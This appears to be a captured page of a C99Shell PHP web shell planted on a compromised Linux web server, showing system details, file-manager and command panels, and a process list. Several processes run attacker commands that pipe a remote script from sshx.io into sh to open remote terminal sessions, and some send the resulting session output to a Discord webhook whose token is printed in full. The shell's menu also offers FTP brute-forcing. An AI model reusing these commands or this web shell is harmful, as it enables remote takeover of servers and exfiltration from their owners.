!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/packageImages/   drwxr-xr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Processes:
USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND
root 1 0.0 0.5 167060 10128 ? Ss Nov25 0:25 /sbin/initKILL
mysql6280.8 25.9 1836096 491752 ? Ssl Nov25 98:21 /usr/sbin/mysqldKILL
root85 0.0 0.0 0 0 ? I< Nov25 0:00 [md]KILL
root86 0.0 0.0 0 0 ? I< Nov25 0:00 [edac-poller]KILL
root87 0.0 0.0 0 0 ? I< Nov25 0:00 [devfreq_wq]KILL
root88 0.0 0.0 0 0 ? S Nov25 0:00 [watchdogd]KILL
root90 0.0 0.0 0 0 ? I< Nov25 0:00 [kworker/1:1H-kblockd]KILL
root92 0.0 0.0 0 0 ? S Nov25 0:00 [kswapd0]KILL
root93 0.0 0.0 0 0 ? S Nov25 0:00 [ecryptfs-kthrea]KILL
root95 0.0 0.0 0 0 ? I< Nov25 0:00 [kthrotld]KILL
root96 0.0 0.0 0 0 ? S Nov25 0:00 [irq/17-ACPI:Ged]KILL
root97 0.0 0.0 0 0 ? S Nov25 0:00 [irq/18-ACPI:Ged]KILL
root98 0.0 0.0 0 0 ? S Nov25 0:00 [irq/19-ACPI:Ged]KILL
root99 0.0 0.0 0 0 ? S Nov25 0:00 [irq/20-ACPI:Ged]KILL
root 2 0.0 0.0 0 0 ? S Nov25 0:00 [kthreadd]KILL
www-data354040.00.02060 492 ? S Dec01 0:00 sh -c curl -sSf https://sshx.io/get | sh -s run 2>&1KILL
root83 0.0 0.0 0 0 ? I< Nov25 0:00 [tpm_dev_wq]KILL
www-data354060.00.02060 1356 ? S Dec01 0:00 sh -s runKILL
www-data356250.00.02060 464 ? S Dec01 0:00 sh -c output="$(curl -sSf https://sshx.io/get | sh -s run 2>&1)"; sleep 8; curl -s -H "Content-Type: application/json" -X POST -d "{\"content\":\"$(printf '%s' "$output" | sed 's/"/\\"/g')\"}" "https://discord.com/api/webhooks/1369684012074930226/V4Ugdee6UGT3k2HzM5SjY4bIoi20lFef5f1ZeeHnQh_4uAPxP7qSg72tcMHChaCBtbWI" 2>&1KILL
www-data356260.00.02060 88 ? S Dec01 0:00 sh -c output="$(curl -sSf https://sshx.io/get | sh -s run 2>&1)"; sleep 8; curl -s -H "Content-Type: application/json" -X POST -d "{\"content\":\"$(printf '%s' "$output" | sed 's/"/\\"/g')\"}" "https://discord.com/api/webhooks/1369684012074930226/V4Ugdee6UGT3k2HzM5SjY4bIoi20lFef5f1ZeeHnQh_4uAPxP7qSg72tcMHChaCBtbWI" 2>&1KILL
www-data356280.00.02060 1332 ? S Dec01 0:00 sh -s runKILL
www-data363270.00.02060 492 ? S Dec01 0:00 sh -c /usr/bin/bash -c '( source '\''/tmp/terminal_env_692e23569da408.05823976'\''; curl -sSf https://sshx.io/get | sh -s run; return_value=$?; echo; pwd; echo $return_value; (declare -p | grep -v '\''^declare -[^\s]*r'\'') >'\''/tmp/terminal_env_692e23569da408.05823976'\'' 2>/dev/null ) 2>&1'KILL
www-data363280.00.16616 2644 ? S Dec01 0:00 /usr/bin/bash -c ( source '/tmp/terminal_env_692e23569da408.05823976'; curl -sSf https://sshx.io/get | sh -s run; return_value=$?; echo; pwd; echo $return_value; (declare -p | grep -v '^declare -[^\s]*r') >'/tmp/terminal_env_692e23569da408.05823976' 2>/dev/null ) 2>&1KILL
www-data363290.00.06616 1428 ? S Dec01 0:00 /usr/bin/bash -c ( source '/tmp/terminal_env_692e23569da408.05823976'; curl -sSf https://sshx.io/get | sh -s run; return_value=$?; echo; pwd; echo $return_value; (declare -p | grep -v '^declare -[^\s]*r') >'/tmp/terminal_env_692e23569da408.05823976' 2>/dev/null ) 2>&1KILL
www-data363310.00.02060 1432 ? S Dec01 0:00 sh -s runKILL
www-data373760.00.02060 480 ? S Dec01 0:00 sh -c /usr/bin/bash -c '( source '\''/tmp/terminal_env_692e28e889bb17.82682723'\''; bash get run; return_value=$?; echo; pwd; echo $return_value; (declare -p | grep -v '\''^declare -[^\s]*r'\'') >'\''/tmp/terminal_env_692e28e889bb17.82682723'\'' 2>/dev/null ) 2>&1'KILL
www-data373770.00.16616 2708 ? S Dec01 0:00 /usr/bin/bash -c ( source '/tmp/terminal_env_692e28e889bb17.82682723'; bash get run; return_value=$?; echo; pwd; echo $return_value; (declare -p | grep -v '^declare -[^\s]*r') >'/tmp/terminal_env_692e28e889bb17.82682723' 2>/dev/null ) 2>&1KILL
www-data373780.00.06616 236 ? S Dec01 0:00 /usr/bin/bash -c ( source '/tmp/terminal_env_692e28e889bb17.82682723'; bash get run; return_value=$?; echo; pwd; echo $return_value; (declare -p | grep -v '^declare -[^\s]*r') >'/tmp/terminal_env_692e28e889bb17.82682723' 2>/dev/null ) 2>&1KILL
www-data373790.00.16616 2836 ? S Dec01 0:00 bash get runKILL
www-data862510.00.02060 508 ? S 23:36 0:00 sh -c ps -auxKILL
root84 0.0 0.0 0 0 ? I< Nov25 0:00 [ata_sff]KILL
www-data862520.00.16408 2620 ? R 23:36 0:00 ps -auxKILL
root82 0.0 0.0 0 0 ? I< Nov25 0:00 [blkcg_punt_bio]KILL
root18 0.0 0.0 0 0 ? S Nov25 0:00 [cpuhp/0]KILL
root 4 0.0 0.0 0 0 ? I< Nov25 0:00 [rcu_par_gp]KILL
root 5 0.0 0.0 0 0 ? I< Nov25 0:00 [slub_flushwq]KILL
root 6 0.0 0.0 0 0 ? I< Nov25 0:00 [netns]KILL
root 8 0.0 0.0 0 0 ? I< Nov25 0:00 [kworker/0:0H-events_highpri]KILL
root10 0.0 0.0 0 0 ? I< Nov25 0:00 [mm_percpu_wq]KILL
root11 0.0 0.0 0 0 ? S Nov25 0:00 [rcu_tasks_rude_]KILL
root12 0.0 0.0 0 0 ? S Nov25 0:00 [rcu_tasks_trace]KILL
root81 0.0 0.0 0 0 ? I< Nov25 0:00 [kblockd]KILL
root13 0.0 0.0 0 0 ? S Nov25 0:01 [ksoftirqd/0]KILL
root14 0.0 0.0 0 0 ? I Nov25 0:10 [rcu_sched]KILL
root21 0.0 0.0 0 0 ? S Nov25 0:01 [migration/1]KILL
root16 0.0 0.0 0 0 ? S Nov25 0:00 [idle_inject/0]KILL
root15 0.0 0.0 0 0 ? S Nov25 0:01 [migration/0]KILL
root19 0.0 0.0 0 0 ? S Nov25 0:00 [cpuhp/1]KILL
root29 0.0 0.0 0 0 ? S Nov25 0:00 [oom_reaper]KILL
root80 0.0 0.0 0 0 ? I< Nov25 0:00 [kintegrityd]KILL
root33 0.0 0.0 0 0 ? SN Nov25 0:00 [khugepaged]KILL
root20 0.0 0.0 0 0 ? S Nov25 0:00 [idle_inject/1]KILL
root31 0.0 0.0 0 0 ? S Nov25 0:22 [kcompactd0]KILL
root30 0.0 0.0 0 0 ? I< Nov25 0:00 [writeback]KILL
root32 0.0 0.0 0 0 ? SN Nov25 0:00 [ksmd]KILL
root28 0.0 0.0 0 0 ? S Nov25 0:00 [khungtaskd]KILL
root27 0.0 0.0 0 0 ? S Nov25 0:00 [kauditd]KILL
root26 0.0 0.0 0 0 ? I< Nov25 0:00 [inet_frag_wq]KILL
root25 0.0 0.0 0 0 ? S Nov25 0:00 [kdevtmpfs]KILL
root24 0.0 0.0 0 0 ? I< Nov25 0:00 [kworker/1:0H-events_highpri]KILL
root22 0.0 0.0 0 0 ? S Nov25 0:00 [ksoftirqd/1]KILL
root 3 0.0 0.0 0 0 ? I< Nov25 0:00 [rcu_gp]KILL
root460940.0 0.0 0 0 ? I 14:09 0:01 [kworker/1:2-events]KILL
root493030.0 0.0 0 0 ? I 20:39 0:00 [kworker/1:1-cgroup_destroy]KILL
root615870.0 0.0 0 0 ? I 23:09 0:00 [kworker/0:1-events]KILL
root615920.0 0.0 0 0 ? I 23:10 0:00 [kworker/u4:2-events_unbound]KILL
root633600.0 0.0 0 0 ? I 23:16 0:00 [kworker/u4:1-writeback]KILL
root759700.0 0.0 0 0 ? I 23:24 0:00 [kworker/0:2-events]KILL
root858160.0 0.0 0 0 ? I 23:34 0:00 [kworker/u4:0-ext4-rsv-conversion]KILL
daemon5250.0 0.0 3600 1808 ? Ss Nov25 0:00 /usr/sbin/atd -fKILL
syslog5100.0 0.2 221184 4184 ? Ssl Nov25 0:00 /usr/sbin/rsyslogd -n -iNONEKILL
message+4910.00.2 8120 3988 ? Ss Nov25 0:12 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-onlyKILL
systemd+4480.00.3 26280 6748 ? Ss Nov25 0:01 /lib/systemd/systemd-networkdKILL
systemd+3830.00.3 89936 6204 ? Ssl Nov25 0:00 /lib/systemd/systemd-timesyncdKILL
systemd+4510.00.6 24808 11684 ? Ss Nov25 0:04 /lib/systemd/systemd-resolvedKILL
www-data5860.00.9 62996 17064 ? S Nov25 0:09 nginx: worker processKILL
www-data5870.00.9 63644 18336 ? S Nov25 3:52 nginx: worker processKILL
root100 0.0 0.0 0 0 ? S Nov25 0:00 [irq/21-ACPI:Ged]KILL
root101 0.0 0.0 0 0 ? S Nov25 0:00 [irq/22-ACPI:Ged]KILL
root102 0.0 0.0 0 0 ? S Nov25 0:00 [irq/23-ACPI:Ged]KILL
root103 0.0 0.0 0 0 ? S Nov25 0:00 [irq/24-ACPI:Ged]KILL
root104 0.0 0.0 0 0 ? S Nov25 0:00 [irq/25-ACPI:Ged]KILL
root105 0.0 0.0 0 0 ? S Nov25 0:00 [irq/26-ACPI:Ged]KILL
root106 0.0 0.0 0 0 ? S Nov25 0:00 [irq/27-ACPI:Ged]KILL
root107 0.0 0.0 0 0 ? S Nov25 0:00 [irq/28-ACPI:Ged]KILL
root108 0.0 0.0 0 0 ? S Nov25 0:00 [irq/29-ACPI:Ged]KILL
root109 0.0 0.0 0 0 ? S Nov25 0:00 [irq/30-ACPI:Ged]KILL
root110 0.0 0.0 0 0 ? S Nov25 0:00 [irq/31-ACPI:Ged]KILL
root111 0.0 0.0 0 0 ? S Nov25 0:00 [irq/32-ACPI:Ged]KILL
root112 0.0 0.0 0 0 ? S Nov25 0:00 [irq/33-ACPI:Ged]KILL
root113 0.0 0.0 0 0 ? S Nov25 0:00 [irq/34-ACPI:Ged]KILL
root114 0.0 0.0 0 0 ? S Nov25 0:00 [irq/35-ACPI:Ged]KILL
root115 0.0 0.0 0 0 ? S Nov25 0:00 [irq/36-ACPI:Ged]KILL
root116 0.0 0.0 0 0 ? S Nov25 0:00 [irq/37-ACPI:Ged]KILL
root117 0.0 0.0 0 0 ? S Nov25 0:00 [irq/38-ACPI:Ged]KILL
root118 0.0 0.0 0 0 ? S Nov25 0:00 [irq/39-ACPI:Ged]KILL
root119 0.0 0.0 0 0 ? S Nov25 0:00 [irq/40-ACPI:Ged]KILL
root120 0.0 0.0 0 0 ? S Nov25 0:00 [irq/41-ACPI:Ged]KILL
root121 0.0 0.0 0 0 ? S Nov25 0:00 [irq/42-ACPI:Ged]KILL
root122 0.0 0.0 0 0 ? S Nov25 0:00 [irq/43-ACPI:Ged]KILL
root123 0.0 0.0 0 0 ? S Nov25 0:00 [irq/44-ACPI:Ged]KILL
root124 0.0 0.0 0 0 ? S Nov25 0:00 [irq/45-ACPI:Ged]KILL
root125 0.0 0.0 0 0 ? S Nov25 0:00 [irq/46-ACPI:Ged]KILL
root126 0.0 0.0 0 0 ? S Nov25 0:00 [irq/47-ACPI:Ged]KILL
root127 0.0 0.0 0 0 ? S Nov25 0:00 [irq/48-ACPI:Ged]KILL
root128 0.0 0.0 0 0 ? I< Nov25 0:00 [acpi_thermal_pm]KILL
root129 0.0 0.0 0 0 ? I< Nov25 0:00 [nvme-wq]KILL
root130 0.0 0.0 0 0 ? I< Nov25 0:00 [nvme-reset-wq]KILL
root131 0.0 0.0 0 0 ? I< Nov25 0:00 [nvme-delete-wq]KILL
root133 0.0 0.0 0 0 ? I< Nov25 0:00 [mld]KILL
root134 0.0 0.0 0 0 ? I< Nov25 0:00 [ipv6_addrconf]KILL
root143 0.0 0.0 0 0 ? I< Nov25 0:00 [kstrp]KILL
root146 0.0 0.0 0 0 ? I< Nov25 0:00 [zswap-shrink]KILL
root147 0.0 0.0 0 0 ? I< Nov25 0:00 [kworker/u5:0]KILL
root152 0.0 0.0 0 0 ? I< Nov25 0:00 [charger_manager]KILL
root153 0.0 0.0 0 0 ? S Nov25 0:00 [irq/50-ACPI:Eve]KILL
root154 0.0 0.0 0 0 ? S Nov25 0:00 [irq/51-ACPI:Eve]KILL
root155 0.0 0.0 0 0 ? S Nov25 0:20 [jbd2/nvme0n1p1-]KILL
root156 0.0 0.0 0 0 ? I< Nov25 0:00 [ext4-rsv-conver]KILL
root193 0.0 0.0 0 0 ? I< Nov25 0:00 [kworker/0:1H-kblockd]KILL
root197 0.0 0.9 59228 17264 ? S<s Nov25 0:02 /lib/systemd/systemd-journaldKILL
root235 0.0 0.2 18836 4708 ? Ss Nov25 0:00 /lib/systemd/systemd-udevdKILL
root252 0.0 0.0 0 0 ? I< Nov25 0:00 [ena]KILL
root289 0.0 0.0 0 0 ? I< Nov25 0:00 [cryptd]KILL
root330 0.0 0.0 0 0 ? I< Nov25 0:00 [kaluad]KILL
root331 0.0 0.0 0 0 ? I< Nov25 0:00 [kmpath_rdacd]KILL
root332 0.0 0.0 0 0 ? I< Nov25 0:00 [kmpathd]KILL
root333 0.0 0.0 0 0 ? I< Nov25 0:00 [kmpath_handlerd]KILL
root334 0.0 0.8 279920 16296 ? SLsl Nov25 0:46 /sbin/multipathd -d -sKILL
root486 0.0 0.3 237632 6576 ? Ssl Nov25 0:10 /usr/lib/accountsservice/accounts-daemonKILL
root489 0.0 0.1 8344 2280 ? Ss Nov25 0:01 /usr/sbin/cron -fKILL
root500 0.0 0.1 80936 2984 ? Ssl Nov25 0:32 /usr/sbin/irqbalance --foregroundKILL
root505 0.0 0.9 29628 17312 ? Ss Nov25 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggersKILL
root509 0.0 1.1 213632 21252 ? Ss Nov25 0:31 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)KILL
root511 0.0 0.8 1829972 15324 ? Ssl Nov25 0:19 /snap/amazon-ssm-agent/11798/amazon-ssm-agentKILL
root514 0.0 1.6 1848292 31444 ? Ssl Nov25 0:23 /usr/lib/snapd/snapdKILL
root515 0.0 0.3 16112 6220 ? Ss Nov25 0:04 /lib/systemd/systemd-logindKILL
root550 0.0 0.0 6840 1732 ttyS0 Ss+ Nov25 0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220KILL
root558 0.0 0.0 5316 1464 tty1 Ss+ Nov25 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linuxKILL
root576 0.0 0.3 232964 6136 ? Ssl Nov25 0:00 /usr/lib/policykit-1/polkitd --no-debugKILL
root585 0.0 0.0 61600 1740 ? Ss Nov25 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;KILL
root603 0.0 1.0 107848 19228 ? Ssl Nov25 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signalKILL
root682 0.0 0.2 12236 5628 ? Ss Nov25 0:00 sshd: /usr/sbin/sshd -D -o AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys %u %f -o AuthorizedKeysCommandUser ec2-instance-connect [listener] 0 of 10-100 startupsKILL
www-data354170.00.212716 5152 ? Sl Dec01 0:25 /tmp/tmp.xFwKnaqiHo/sshxKILL
www-data356390.00.212716 5132 ? Sl Dec01 0:25 /tmp/tmp.GZ5dabeSDw/sshxKILL
www-data373890.00.212720 5148 ? Sl Dec01 0:24 /tmp/tmp.fE8Wkd57U9/sshxKILL
www-data363420.00.212724 5176 ? Sl Dec01 0:24 /tmp/tmp.pEHDJlFBuo/sshxKILL
www-data354350.02.729039652872? S Dec01 0:02 php-fpm: pool wwwKILL
www-data363490.02.829066853816? S Dec01 0:01 php-fpm: pool wwwKILL
www-data317300.03.229512862172? S Dec01 1:08 php-fpm: pool wwwKILL
www-data275440.03.329323663456? S Nov30 2:03 php-fpm: pool wwwKILL
www-data331730.54.829595691848? S Dec01 10:29 php-fpm: pool wwwKILL

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0141 ]--